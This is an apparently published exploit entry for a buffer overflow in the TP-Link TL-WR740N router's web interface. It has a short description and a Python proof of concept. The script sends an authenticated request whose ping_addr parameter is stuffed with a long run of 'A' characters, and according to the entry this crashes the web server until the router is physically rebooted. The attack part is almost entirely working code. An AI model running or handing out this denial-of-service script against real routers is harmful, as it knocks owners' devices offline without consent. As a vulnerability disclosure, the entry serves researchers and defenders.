TP-Link TL-WR740N Buffer Overflow / Denial Of Service

# Exploit Title: TP-Link TL-WR740N - Buffer Overflow 'DOS'# Date: 8/12/2023# Exploit Author: Anish Feroz (ZEROXINN)# Vendor Homepage: http://www.tp-link.com# Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n# Tested on: TP-Link TL-WR740N#Description:#There exist a buffer overflow vulnerability in TP-Link TL-WR740 router that can allow an attacker to crash the web server running on the router by sending a crafted request. To bring back the http (webserver), a user must physically reboot the router.#Usage:#python3 target username password#change port, if required------------------------------------------------POC-----------------------------------------#!/usr/bin/pythonimport requestsfrom requests.auth import HTTPBasicAuthimport base64def send_request(ip, username, password):    auth_url = f"http://{ip}:8082"    target_url = f"http://{ip}:8082/userRpm/PingIframeRpm.htm?ping_addr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20"    credentials = f"{username}:{password}"    encoded_credentials = base64.b64encode(credentials.encode()).decode()    headers = {        "Host": f"{ip}:8082",        "Authorization": f"Basic {encoded_credentials}",        "Upgrade-Insecure-Requests": "1",        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36",        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",        "Referer": f"http://{ip}:8082/userRpm/DiagnosticRpm.htm",        "Accept-Encoding": "gzip, deflate",        "Accept-Language": "en-US,en;q=0.9",        "Connection": "close"    }    session = requests.Session()        response = session.get(target_url, headers=headers)    if response.status_code == 200:        print("Server Crashed")        print(response.text)    else:        print(f"Script Completed with status code {response.status_code}")ip_address = input("Enter IP address of the host: ")username = input("Enter username: ")password = input("Enter password: ")send_request(ip_address, username, password)